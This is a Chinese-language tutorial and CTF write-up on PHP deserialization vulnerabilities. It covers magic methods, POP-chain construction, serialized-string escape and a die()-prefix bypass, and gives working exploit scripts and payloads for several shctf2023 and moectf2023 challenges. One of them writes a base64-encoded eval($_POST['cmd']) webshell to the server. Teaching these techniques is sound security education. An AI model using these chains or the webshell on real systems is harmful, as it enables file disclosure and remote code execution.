关于PHP序列化与反序列化

什么是PHP序列化与反序列化

1
2
serialize()     //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

序列化与反序列化方便了对象数据的传递,但是攻击者可以通过构造序列化字符串以控制反序列化,形成反序列化攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
highlight_file(__FILE__);
class sunset{
public $flag='flag{asdadasd}';
public $name='makabaka';
public $age='18';
}

$ctfer=new sunset(); //实例化一个对象
echo serialize($ctfer);
?>
//O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}
  • O代表对象,这里是序列化的一个对象,要序列化数组的就用A
  • 6表示的是类的长度
  • sunset表示对是类名
  • 3表示类里面有3个属性也称为变量
  • s表示字符串的长度这里的flag表示属性
  • 比如s:4:"flag" 这里表示的是 flag属性名(变量名)为4个字符串长度 字符串 属性长度 属性值

而反序列化就是将序列化后的字符串重新反序列化为一个对象。

关于PHP中public、protected、private

public

public修饰的属性和方法可以在任何地方被访问,包括类的内部、子类和外部代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
class Person {
public $name;

public function sayHello() {
echo "Hello!";
}
}

$person = new Person();
echo $person->name; // 可以直接访问 public 属性
$person->sayHello(); // 可以直接调用 public 方法
?>

protected

protected修饰的属性和方法只能在当前类及其子类中被访问,外部的代码访问不了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
highlight_file(__FILE__);
class Person {
protected $name;

protected function sayHello() {
echo "Hello!";
}
}

class Student extends Person {
public function showName() {
echo $this->name; // 子类可以访问 protected 属性
$this->sayHello(); // 子类可以调用 protected 方法
}
}

$student = new Student();
$student->showName(); // 可以访问父类的 protected 属性和方法
echo $student->name; // 外部代码不能访问 protected 属性 会显示错误
$student->sayHello(); // 外部代码不能调用 protected 方法 会显示错误
?>

private

private修饰的属性和方法只能在当前类中被访问,子类和外部代码不能访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php
highlight_file(__FILE__);
class Person {
private $name;

private function sayHello() {
echo "Hello!";
}
}

class Student extends Person {
public function showName() {
echo $this->name; // 子类不能访问父类的 private 属性
$this->sayHello(); // 子类不能调用父类的 private 方法
}
}

$person = new Person();
echo $person->name; // 外部代码不能访问 private 属性 会发生报错
$person->sayHello(); // 外部代码不能调用 private 方法 会发生报错

?>

关于绕过protected、private

最有效的方法是将序列化字符串进行url编码,也可以在序列化属性前加上%00.

魔术方法

1
2
3
4
5
6
7
8
9
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

__sleep()

__sleep() 方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。

具体来说,当调用 serialize() 函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep() 方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。

假设有一个 User 类,它有一个私有属性 $password,你不希望在序列化对象时将密码属性暴露出来。那么你可以在 User 类中实现 __sleep() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php
highlight_file(__FILE__);
class User {
private $username;
private $password;

public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}

public function __sleep() {
return array('username');
}
}

$user = new User('john', '123456');
$serialized = serialize($user);
echo $serialized;
//O:4:"User":1:{s:14:"Userusername";s:4:"john";}

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup() 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize() 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup() 方法,对其进行初始化。

__wakeup() 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup() 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup() 方法中进行计算.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php
highlight_file(__FILE__);
class User {
private $username;
private $password;

public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}

public function __sleep() {
return array('username', 'password');
}

public function __wakeup() {
if (!$this->authenticate()) {
throw new Exception("Authentication failed");
}
}

private function authenticate() {
// 进行身份验证
}
}

$user = new User('john', '123456');
$serialized = serialize($user);
$unserialized = unserialize($serialized);

在上面的示例中User 类实现了 __sleep()__wakeup() 方法。__sleep() 方法返回了一个包含 usernamepassword 属性名的数组,表示只有这两个属性需要被序列化。__wakeup() 方法会调用 authenticate() 方法进行身份验证。如果身份验证失败,则会抛出一个异常。

绕过

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
highlight_file(__FILE__);
class Person {
public $name;
public $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
$this-> info=sprintf("name:%s,age:%s",$this->name,$this->age);
}

public function __toString() {
return $this->info;
}
}

$person = new Person("John", 30);
echo '__toString:'.$person.'<br>';
//__toString:name:John,age:30
?>

__destruct()

__destruct 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。

魔术方法运行的先后顺序

__construct()和__destruct()
  • construct:当对象创建时会被调用,是在new对象时才调用,unserialize 时不对被自动调用
  • destruct() : 当对象被销毁时自动调用,有新的对象创建 之后会自动销毁 相当于调用了__construct 后一定会调用__destruct 现在传入一个对象,他后面被销毁时会调用 destruct
__seelp()__wakeup()
  • __seelp() 在对象被序列化之前调用
  • __wakeup() 在对象被反序列化之前调用
__toString()

__toString作为pop链关键的一步,很容易被调用。当对象被当作字符串的时候,__toString() 会被调用,不管对象有没有被打印出来,在对象被操作的时候,对象在和其他的字符串做比较的时候也会被调用。

  • echo($obj)或print($obj)打印对象时会触发
  • 反序列化对象与字符串连接时
  • 反序列化对象参与格式化字符串时
  • 反序列化对象字符串进行**==比较时(多为preg_match正则匹配**),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较
  • 反序列化对象参与格式化sql语句时,绑定参数时(用的少)
  • 反序列化对象经过php字符串函数时,如strlen(),addslashes()时(用的少)
  • 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用
  • 反序列化的对象作为class_exists()的参数的时候(用的少)
__invoke()

__invoke:当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,而调用函数的方式就是在后面加上(),当我们看到像return $function();这种语句时,就应该意识到后面可能会调用__invoke(),下图是直接在对象后面加()调用这个魔术方法只在PHP 5.3.0 及以上版本有效)

__get()和__set()
  • __get():从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时
  • __set():当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected)(用的不多)
__call()__callStatic()
  • __call:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用
  • __callStatic:在静态上下文中调用一个不可访问静态方法时被调用
其他魔术方法
1
2
3
4
5
6
7

__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用。
__set_state():调用var_export()导出类时,此静态方法会被调用。
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息

POP链

利用现有的环境,找到一系列的代码或者调用指令,然后构造成一组连续的调用链,然后进行攻击。任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链.

普通pop

shctf2023 ez_serialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

class A{
public $var_1;

public function __invoke(){
include($this->var_1);
}
}

class B{
public $q;
public function __wakeup()//反序列化之前调用
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {//字符串比较,可以触发__toString
echo "hacker";
}
}

}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;//调用不可访问的属性,触发__get
}
}

class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();//将对象作为函数使用,可以触发__invoke
}
}

if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?

很显然,这条链子头部是B::__wakeup,尾部是A::__invoke,通过__invoke函数,可以利用php伪协议进行任意文件读取,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);

class A{
public $var_1="php://filter/convert.base64-encode/resource=flag.php";
public function __construct(){
$var_1="php://filter/convert.base64-encode/resource=flag.php";
}

}

class B{
public $q;
public function __construct()
{
$this->q=new C;
}
}

class C{
public $var;
public $z;
public function __construct()
{
$this->z=new D;
}
}

class D{
public $p;
public function __construct(){
$this->p=new A;
}
}

$a=new B;
echo serialize($a);//PD9waHANCiRmbGFnID0gImZsYWd7NjA0ODM3OTUtNDI5Ny00NDcxLTg0M2UtOTg0M2E1M2Q0YmE3fSI7DQo=

反序列化字符串逃逸

关于反序列化字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$a=array('name'=>'bob','pwd'=>'123456');
$sa=serialize($a);
echo "$sa<br>";
#$d=preg_replace('/o/','oo',$sa);
#echo "<br>$d<br>";
$d='a:2:{s:4:"name";s:50:"boooooooooooooooooooooooob";s:3:"pwd";s:4:"hack";}";s:3:"pwd";s:6:"123456";}';
#echo strlen('";s:3:"pwd";s:4:"hack";}');
$dd=preg_replace('/o/','oo',$d);
$usdd=unserialize($dd);
echo $dd."<br>";
var_dump($usdd);

//字符串逃逸
//字符增加情况:上面的例子中字符串boooooooooooooooooooooooob";s:3:"pwd";s:4:"hack";}长度为50,由于$dd=preg_replace('/o/','oo',$d)将o变为oo,这样将";s:3:"pwd";s:4:"hack";}顶了出去,由于;}闭合了反序列化,这样后面的;s:3:"pwd";s:6:"123456";}将被舍弃,这样就形成字符逃逸

//字符减少情况:如果遇到过滤,将某一字符直接删除,那么就直接是值的替换,如:
$c='a:2:{s:4:"name";s:28:"flagflagflagflagflagflagflag";s:3:"pwd";s:6:"12345678";}";s:3:"pwd";s:4:"hack";}';
//";s:3:"pwd";s:4:"12345678";}长度为28直接替换name的值,;}闭合,实现字符逃逸
$cc=preg_replace('/flag/','',$c);
$uscc=unserialize($cc);
var_dump($uscc);
moectf2023 夺命十三枪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

包含文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

外部文件作用是接收传入的值,然后将其传入内部文件,若内部文件处理后的值可以被反序列化,则输出反序列化结果否则输出Even Caused A Glitch…,所以关键在于内部文件,通过分析代码,当Spear_Owner = 'MaoLei'时才会输入flag,第一个类中出现了危险函数str_replace,这时候就想到了字符逃逸,我们传入的chant需要将";s:11:"Spear_Owner";s:6:"MaoLei";}逃逸,";s:11:"Spear_Owner";s:6:"MaoLei";}一共35个字符,在第一个类中,"di_qi_qiang" => "Penetrating_Gaze"替换后,可以顶出5个字符,也就是可以逃逸5个字符,那么需要7个di_qi_qiang就能实现逃逸,payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

死亡函数绕过

在一些题目中,会出现将特定死亡函数字符串与可修改字符串拼接的情况,由于base64在解码时,是4个字符为一组,这时候就可以在拼接时向特定字符串加入字符,此时将前面的死亡函数的字符串解码为乱码,而自己的字符串则解析为木马。

shctf2023 sseerriiaalliizzee

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);//将useful写入$this-> part1
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";

}
}

$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
no way, fuck off

题目的链子很简单,Start::__toString->CTF::dosomething,原因:在Start调用__construct方法后,$this->barking会连接到Flag,但Flag会触发__toString,这样$this->barking会重新连接到CTF,因此我们可以省去中间$this->barking多余的操作(因为Flag类中没有属性),直接让其触发CTF::dosomething,那么这里死亡函数<?php die("+Genshin Impact Start!+");?>字符除去base64不会解码的还有26个,所以我们拼接两个字符让其乱码。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
public $barking;
public function __construct(){
$this->barking = new CTf("php://filter/convert.base64-decode/resource=2.php","ddPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
}//将拼接字符base64解码写入文件2.php中dd是为了让死亡函数乱码
}

class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;

}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}

$a=new Start;
echo serialize($a);
//O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:49:"php://filter/convert.base64-decode/resource=2.php";s:5:"part2";s:42:"ddPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

?>

由于我们上传的一句话木马参数为cmd,所以直接蚁剑或访问2.php,post传参命令执行即可

提前赋值,引用绕过

shctf2023 serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]))

这里链子比较简单,关键在于$this->gao=$this->fei;,由于$this->miaomiao();将a提前赋值,我们可以用gao去取到a的引用,fei去连接下一个链子,由于gao、fei相等,gao为a的引用,相当于就是a去连接了下一个链子,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class musca{
public $ding;
public $dong;
public function __construct(){
$this->ding=new misca;
}
}
class misca{
public $gao;
public $fei;
public $a;
public function __construct(){
$this->fei=new milaoshu;
$this->gao=&$this->a;
}
}
class milaoshu{
public $v='php://filter/convert.base64-encode/resource=flag.php';
}
$a=new musca;
echo serialize(array($a));
?>